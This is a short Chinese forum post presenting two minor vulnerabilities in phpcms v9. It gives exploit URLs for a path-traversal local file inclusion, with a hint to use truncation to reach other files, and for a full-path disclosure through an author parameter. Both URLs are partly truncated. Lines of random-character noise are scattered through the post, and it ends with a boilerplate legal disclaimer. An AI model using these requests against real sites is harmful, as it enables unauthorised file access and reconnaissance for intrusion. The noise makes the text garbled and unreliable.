phpcms v9两个鸡肋漏洞

admin

我就不贴代码了，有兴趣的自己跟一下吧，说不定可以发现更多。
" a. `3 [1 S  M( i! N, R
- t- T3 ^1 ]! s/ jExp: http://www.php0day.com/api.php?o ... efile=../../../fuck
8 O% Q5 M- p" M. \. G' O
" f, q2 l3 A! ~/ d#包含根目录的fuck.cache.php 又一鸡肋。包含其他文件自己截断吧，看你运气了。

Exp: http://www.php0day.com/phpcms/mo ... l.php?author=b4dboy
" v: U9 {. \5 z" j7 s+ D
4 `' A! B5 h6 i: n1 Y% }1 b#暴路径
' C4 U7 R' s: W# S. p: Y
/ k1 J: o1 h3 n5 t& I注：请遵守国家相关法律，请勿非法入侵，产生任何后果自己负责。
' n6 c: ?. Q" a; F! |& u2 t" X
2 p% v6 R: z7 E/ w​
3 J$ J3 W8 A, x, `$ I4 D# X7 Y' k
+1